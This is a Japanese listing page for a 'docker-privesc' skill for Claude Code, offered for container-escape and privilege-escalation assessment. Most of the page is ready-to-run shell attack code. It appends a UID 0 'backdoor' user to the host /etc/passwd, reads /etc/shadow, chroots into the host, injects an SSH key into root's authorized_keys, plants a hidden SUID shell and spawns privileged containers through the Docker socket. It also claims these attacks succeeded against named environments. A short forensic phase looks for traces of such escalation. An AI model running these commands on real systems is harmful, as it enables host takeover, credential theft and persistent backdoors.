mcpField
D
docker-privesc

docker-privesc

github.com/uphiagoセキュリティ1.3k40 回インストール8 週間前に更新
リポジトリ

docker-privesc について

Docker コンテナからの脱出経路と権限昇格を評価するセキュリティ用スキルです。Docker ソケット、グループ、ボリューム、ケイパビリティを調べ、ホスト root への影響や過去の昇格痕跡を確認するテスター向けです。

主な機能

  1. 01Docker グループとソケットのアクセス確認
  2. 02特権モードとケイパビリティの確認
  3. 03ホスト脱出手法の提示
  4. 04過去の権限昇格痕跡の調査
  5. 05ホストへの影響の検証

活用シーン

  1. 01コンテナのシェル取得後に脱出リスクを評価
  2. 02Docker グループ権限によるホスト侵害の確認
  3. 03過去の権限昇格の痕跡調査

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/uphiago/recon-skills --skill docker-privesc

インストール後、Claude Code で/docker-privescを入力して読み込まれたか確認します。

詳細

Docker の権限昇格スキル

Docker コンテナの脱出と権限昇格 — Docker ソケットの悪用、ボリュームマウントによるホストの乗っ取り、docker グループと root の同等性、過去の権限昇格の検出。Docker グループへの所属により、5 つの異なる手法を使ってホスト上の root を即座に取得できます。fitness-chain(Docker コンテナを抽出、12 個のイメージレイヤー、特権モード)および gov-finance-portal(GitLab で Dockerfile と docker-compose.prod.yml が公開)で確認済みです。

使用する場面

  • Web シェル、SSH、または API エクスプロイト経由で、Docker コンテナのシェルにアクセスできる場合。
  • id の結果に docker グループが表示されるか、/var/run/docker.sock にアクセスできる場合。
  • コンテナ内から docker ps または docker info が実行できる場合。
  • api-noauth-hunt または wordpress-full-compromise によって、コンテナ内で RCE を達成した後。
  • Docker ソケットが /var/run/docker.sock にマウントされている場合(確認方法:ls -la /var/run/docker.sock)。

前提条件

  • Docker コンテナ内のシェルアクセス(ユーザーは問いません)。
  • Docker ソケットがマウントされている、docker グループに所属している、または --privileged フラグが指定されていること。
  • 目標:ホストの root へ昇格すること。

実行方法

# Check docker group membership
id | grep docker && echo "[+] Docker group — instant root possible"

# Check docker socket
ls -la /var/run/docker.sock 2>/dev/null && echo "[+] Docker socket mounted — host escape"

# Check privileged mode
cat /proc/self/status | grep -i "seccomp\|cap" && echo "[*] Check capabilities"

クイックリファレンス

条件脱出方法コマンド
Docker グループホストの / をボリュームマウントdocker run --rm -v /:/host -it alpine chroot /host
Docker ソケット特権コンテナを作成docker run --rm --privileged -v /:/host -it alpine
--privilegedホストのファイルシステムへ直接アクセスmount /dev/sda1 /mnt && chroot /mnt
SYS_ADMIN capcgroup release_agentcgroup の notify_on_release に書き込む
Docker なし、cap なしマウントされたソケット/パイプを確認find / -type s 2>/dev/null

手順

フェーズ 1 — コンテナ脱出の攻撃対象領域を評価する
echo "[*] Container escape surface assessment"

# 1. Docker group
echo -n "  Docker group: "
if id | grep -q docker; then
  echo "YES — instant root via volume mount"
else
  echo "no"
fi

# 2. Docker socket
echo -n "  Docker socket: "
if ls -la /var/run/docker.sock 2>/dev/null; then
  echo "YES — host escape via docker command"
  SOCKET_PERMS=$(stat -c "%a %U:%G" /var/run/docker.sock 2>/dev/null)
  echo "  Permissions: $SOCKET_PERMS"
else
  echo "no"
fi

# 3. Privileged mode
echo -n "  Privileged: "
if ip link add dummy0 type dummy 2>/dev/null; then
  echo "YES — privileged container"
  ip link delete dummy0 2>/dev/null
else
  echo "no"
fi

# 4. Capabilities
echo "  Capabilities:"
grep CapEff /proc/self/status 2>/dev/null

# 5. Mounted volumes (potential host paths)
echo "  Mounted volumes:"
mount | grep -vE "^(overlay|tmpfs|proc|sys|devpts|cgroup)" | head -10

# 6. Host processes visible?
echo -n "  Host processes: "
PROC_COUNT=$(ls /proc | grep -c '^[0-9]' 2>/dev/null)
echo "$PROC_COUNT visible"
フェーズ 2 — Docker グループからホストの root へ(5 つの手法)
echo "[*] Docker group privesc"

# Technique 1: Volume mount + add user with UID 0
echo "[1] Adding user with UID 0 to /etc/passwd"
docker run --rm -v /etc:/host_etc alpine sh -c \
  'echo "backdoor::0:0::/root:/bin/bash" >> /host_etc/passwd'
su backdoor 2>/dev/null

# Technique 2: Volume mount + read shadow
echo "[2] Reading /etc/shadow"
docker run --rm -v /etc:/host_etc alpine cat /host_etc/shadow 2>/dev/null | head -5

# Technique 3: chroot to host root
echo "[3] Chroot to host root"
docker run --rm -v /:/host -it alpine chroot /host bash -c "id && hostname"

# Technique 4: Inject SSH key
echo "[4] Injecting SSH key to host root"
docker run --rm -v /root:/host_root alpine sh -c \
  'mkdir -p /host_root/.ssh && echo "YOUR_SSH_PUB_KEY" >> /host_root/.ssh/authorized_keys'

# Technique 5: Create SUID bash on host
echo "[5] Creating SUID bash on host"
docker run --rm -v /usr/local/bin:/host_bin alpine sh -c \
  'cp /bin/sh /host_bin/.backdoor && chmod u+s /host_bin/.backdoor'
/usr/local/bin/.backdoor -p 2>/dev/null
フェーズ 3 — Docker ソケットからホストの root へ
echo "[*] Docker socket exploitation"

# If docker client is available in the container
if command -v docker &>/dev/null; then
  echo "[+] Docker client available"

  # Create privileged container with host root mounted
  docker run --rm --privileged --pid=host -v /:/host alpine sh -c \
    "chroot /host bash -c 'id && hostname'"

  # Alternative: just exec into an existing host container
  docker ps  # List running containers
  docker exec -it <container_id> /bin/bash
fi

# If docker client is NOT available, install it or use the socket directly
if [[ ! -f /usr/bin/docker ]] && [[ -S /var/run/docker.sock ]]; then
  echo "[*] No docker client — using REST API via socket"
  curl --max-time 30 --connect-timeout 10 -sk --unix-socket /var/run/docker.sock http://localhost/containers/json | head -20
fi
フェーズ 4 — 過去の権限昇格を検出する(フォレンジック)
echo "[*] Checking for prior privilege escalation on host"

# Check sudoers for NOPASSWD entries (docker privesc technique)
echo "  NOPASSWD sudoers:"
grep -r "NOPASSWD" /etc/sudoers /etc/sudoers.d/ 2>/dev/null | head -5

# Check for users with UID 0 (injected via /etc/passwd technique)
echo "  UID 0 users:"
awk -F: '$3 == 0 {print $1}' /etc/passwd 2>/dev/null

# Check for newly created authorized_keys files
echo "  Root SSH keys:"
ls -la ~/.ssh/authorized_keys 2>/dev/null
stat ~/.ssh/authorized_keys 2>/dev/null | grep Modify

# Check for SUID binaries
echo "  New SUID binaries:"
find / -perm -4000 -type f 2>/dev/null | while read f; do
  if stat "$f" 2>/dev/null | grep -q "Change:.*2026"; then
    echo "    $f (recently modified)"
  fi
done

注意点

  • すべてのコンテナに Docker ソケットがあるわけではありません。 運用チームが意図的にマウントしています。ほとんどのコンテナにはありません。
  • コンテナに Docker バイナリがない場合があります。 インストールします:apt-get update && apt-get install -y docker.io(インターネットアクセスがある場合)。
  • ケーパビリティが制限されている場合があります。 --privileged はまれです。CapEff マスクを確認し、利用可能なものを調べてください。
  • AppArmor/SELinux によって操作がブロックされる場合があります。 Docker ソケットがあっても、SELinux が脱出を阻止する可能性があります。
  • security-opt no-new-privileges。 SUID バイナリと setuid() システムコールをブロックします。

検証

  • Docker グループによる権限昇格:ボリュームマウント経由で、ホスト上の /etc/shadow を読み取れることが必須です。
  • Docker ソケット:新しい特権コンテナを作成し、ホスト上でコマンドを実行できることが必須です。
  • 特権モード:ホストのファイルシステムをマウントし、chroot できることが必須です。
  • 過去の権限昇格:少なくとも 1 つの兆候(NOPASSWD sudo、UID 0 の異常、新しい SSH キー、SUID バイナリ)を特定できることが必須です。
  • 記録する内容:コンテナの権限、使用した脱出方法、達成したホストの root アクセス。

コメント